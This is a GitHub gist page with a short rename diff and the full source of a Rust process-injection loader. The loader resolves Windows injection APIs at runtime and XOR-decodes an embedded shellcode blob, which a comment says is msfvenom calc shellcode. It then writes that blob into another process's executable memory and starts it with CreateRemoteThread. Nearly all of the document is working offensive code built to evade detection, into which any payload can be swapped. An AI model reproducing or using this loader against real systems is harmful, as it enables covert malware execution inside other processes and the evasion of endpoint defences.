Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save superuser5/cb1191f3738a47d1de41bdae941bebc3 to your computer and use it in GitHub Desktop.
Save superuser5/cb1191f3738a47d1de41bdae941bebc3 to your computer and use it in GitHub Desktop.

Revisions

  1. @OtterHacker OtterHacker revised this gist May 27, 2023. 1 changed file with 4 additions and 4 deletions.
    8 changes: 4 additions & 4 deletions RustProcessInjection102.rs
    Original file line number Diff line number Diff line change
    @@ -26,12 +26,12 @@ extern {

    fn load_fn(dll: HANDLE, fn_name: &str) -> LPVOID{
    unsafe{
    let open_process_ptr: LPVOID = GetProcAddress(dll, fn_name.as_ptr());
    if open_process_ptr.is_null(){
    let fn_ptr: LPVOID = GetProcAddress(dll, fn_name.as_ptr());
    if fn_ptr.is_null(){
    panic!("[x] Failed to load the function {} with error code {}", fn_name, GetLastError());
    }
    println!("[+] Function {} loaded at {:?} !", fn_name, open_process_ptr);
    return open_process_ptr
    println!("[+] Function {} loaded at {:?} !", fn_name, fn_ptr);
    return fn_ptr
    }
    }

  2. @OtterHacker OtterHacker created this gist May 27, 2023.
    124 changes: 124 additions & 0 deletions RustProcessInjection102.rs
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,124 @@
    /*
    * Rust basic Process injection using OpenProcess, VirtualAllocEx, WriteProcessMemory and CreateRemoteThread
    * API dynamic resolution and shellcode XOR encoded
    */
    #[allow(non_camel_case_types)]
    type HANDLE = *mut u64;
    #[allow(non_camel_case_types)]
    type LPVOID = *mut u64;
    #[allow(non_camel_case_types)]
    type DWORD = u32;
    #[allow(non_camel_case_types)]
    type SIZE_T = u64;
    #[allow(non_camel_case_types)]
    type BOOL = DWORD;
    #[allow(non_camel_case_types)]
    type LPCVOID = *const u8;
    #[allow(non_camel_case_types)]
    type LPCSTR = *const u8;

    #[link(name = "KERNEL32")]
    extern {
    fn GetProcAddress(hModule: HANDLE, lpProcName: LPCSTR) -> LPVOID;
    fn LoadLibraryA(lpLibFileName: LPCSTR) -> HANDLE;
    fn GetLastError() -> DWORD;
    }

    fn load_fn(dll: HANDLE, fn_name: &str) -> LPVOID{
    unsafe{
    let open_process_ptr: LPVOID = GetProcAddress(dll, fn_name.as_ptr());
    if open_process_ptr.is_null(){
    panic!("[x] Failed to load the function {} with error code {}", fn_name, GetLastError());
    }
    println!("[+] Function {} loaded at {:?} !", fn_name, open_process_ptr);
    return open_process_ptr
    }
    }

    fn main() {
    // 32byte XOR key
    let key: [u8;32] = [
    0xc7,0x4d,0xfd,0x7b,0xc6,0xb0,0x9b,0x26,0xe7,0xbe,0x12,0x3a,0xf5,0x31,0xbc,
    0x1e,0xa1,0x73,0xa9,0x96,0xb,0xdb,0x84,0xad,0xfe,0xda,0xb6,0xad,0xd0,0x5f,
    0xd8,0xf0
    ];

    // MSFVENOM calc shellcode x64
    let mut shellcode: [u8;276] = [
    0x3b,0x05,0x7e,0x9f,0x36,0x58,0x5b,0x26,0xe7,0xbe,0x53,0x6b,0xb4,0x61,0xee,
    0x4f,0xf7,0x3b,0x98,0x44,0x6e,0x93,0x0f,0xff,0x9e,0x92,0x3d,0xff,0xc8,0x17,
    0x53,0xa2,0xe7,0x05,0x76,0x09,0x96,0xf8,0x94,0x91,0xad,0xf4,0x5f,0x0b,0x3c,
    0x79,0x8d,0xde,0x0d,0x4f,0xc8,0xea,0x09,0xf7,0xa4,0xec,0x3f,0x13,0xbb,0xec,
    0xd1,0x9e,0x3a,0x1d,0x95,0x0c,0xac,0x33,0x4d,0xe2,0xbb,0xad,0xa5,0x82,0x5a,
    0x3b,0x25,0xba,0x3c,0x96,0xa1,0x73,0xa9,0xde,0x8e,0x1b,0xf0,0xca,0xb6,0xdb,
    0x66,0xfd,0x5b,0x17,0xc0,0xb4,0x4c,0x0d,0xdd,0x32,0xc7,0x60,0x78,0x70,0xaf,
    0x41,0xdb,0x7b,0x7e,0x05,0x34,0x56,0xa0,0xa5,0xe4,0xa7,0xc2,0x93,0xb5,0x6d,
    0x52,0x9b,0x77,0x64,0xdd,0x1e,0xd9,0x31,0xff,0xad,0x88,0x8a,0x8a,0xb3,0xd7,
    0x02,0xef,0xfb,0x2b,0xeb,0x80,0xe9,0xe4,0x5a,0x2a,0x33,0x8d,0xdf,0x0a,0x0b,
    0xe2,0xec,0x75,0xd6,0xfe,0xe9,0x5b,0x1f,0xc4,0xb9,0xc6,0x9d,0xbc,0xf0,0xc2,
    0x38,0xd3,0x27,0x37,0xff,0x4a,0x7b,0xad,0x6f,0xe5,0x44,0xe0,0x2b,0xe8,0xcf,
    0x4a,0x81,0xcc,0x2e,0x12,0xfa,0xf7,0xff,0x2f,0xbf,0x80,0xb1,0x9e,0x17,0xb5,
    0xf0,0xd4,0x59,0xcc,0xd9,0x18,0x41,0x4f,0x72,0x4f,0x30,0xbc,0x1e,0xa1,0x73,
    0xa9,0x96,0x0b,0x93,0x09,0x20,0xff,0xdb,0xb6,0xad,0x91,0xe5,0xe9,0x7b,0xa8,
    0xca,0x02,0xae,0x7d,0x40,0x2e,0x84,0xb1,0xff,0xa8,0x9c,0x60,0x8c,0x21,0xe1,
    0x74,0x3b,0x2a,0x52,0x23,0xe7,0x82,0xd1,0xf4,0x5a,0x4d,0x4d,0xa5,0x5a,0x63,
    0xb7,0xd4,0x3f,0x92,0x11,0xc6,0xe9,0xda,0xaf,0x3d,0x41,0xc7,0x59,0x94,0x5d,
    0xdf,0x30,0xc4,0xb,0xcc,0x96
    ];

    // Process targeted
    let pid: u32 = 11444;
    let k32_handle: LPVOID = unsafe{LoadLibraryA("kernel32\0".as_ptr())};
    if k32_handle.is_null(){
    panic!("[x] Failed to load the module with error code {}", unsafe{GetLastError()});
    }
    println!("[+] Module Kernel32 successfully loaded !");

    // Loading WIN32API
    let open_process: extern "stdcall" fn ( dwDesiredAccess: DWORD, bInheritHandle: DWORD, dwProcessId: DWORD) -> HANDLE = unsafe{
    std::mem::transmute(load_fn(k32_handle, "OpenProcess\0"))
    };

    let virtual_alloc_ex: extern "stdcall" fn (hProcess: HANDLE, lpAddress: LPVOID, dwSize: SIZE_T, flAllocationType: DWORD, flProtect: DWORD) -> LPVOID = unsafe{
    std::mem::transmute(load_fn(k32_handle, "VirtualAllocEx\0"))
    };

    let write_process_memory: extern "stdcall" fn (hProcess: HANDLE, lpBaseAddress: LPVOID, lpBuffer: LPCVOID, nSize: SIZE_T, lpNumberOfBytesWritten: *mut SIZE_T) -> BOOL = unsafe{
    std::mem::transmute(load_fn(k32_handle, "WriteProcessMemory\0"))
    };

    let create_remote_thread: extern "stdcall" fn (hProcess: HANDLE, lpThreadAttributes: LPVOID, dwStackSize: SIZE_T, lpStartAddress: LPVOID, lpParameter: LPVOID, dwCreationFlags: DWORD, lpThreadId: *mut DWORD) -> HANDLE = unsafe{
    std::mem::transmute(load_fn(k32_handle, "CreateRemoteThread\0"))
    };

    for (count, value) in shellcode.clone().iter_mut().enumerate(){
    shellcode[count] = *value ^ key[count%key.len()];
    }

    // Opening the remote process
    let process_all_access: u32 = 0x1fffff;
    let process_handle: HANDLE = open_process(process_all_access, 0, pid);

    // Exit of the process has not been opened
    if process_handle.is_null(){
    panic!("[x] Failed open the process {}", unsafe{GetLastError()});
    };
    println!("[+] Opening process {}", pid);

    // Allocate space for the shellcode
    let remote_buffer: HANDLE = virtual_alloc_ex(process_handle, std::ptr::null_mut(), shellcode.len() as u64, 0x00001000 | 0x00002000, 0x40);
    assert!(!remote_buffer.is_null());
    println!("[+] Buffer allocated at : {:?}", remote_buffer);

    // Write shellcode in memory
    let mut bytes_written: SIZE_T = 0;
    let status: BOOL = write_process_memory(process_handle, remote_buffer, shellcode.as_ptr(), shellcode.len() as u64, &mut bytes_written);
    assert!(status != 0);
    println!("[+] {} bytes written at {:?}", bytes_written, remote_buffer);

    // Run the shellcode
    let mut _thread_id: DWORD = 0;
    let thread_handle: HANDLE = create_remote_thread(process_handle, std::ptr::null_mut(), 0, remote_buffer, std::ptr::null_mut(), 0, &mut _thread_id);
    assert!(!thread_handle.is_null());
    println!("[+] Shellcode injected !");
    }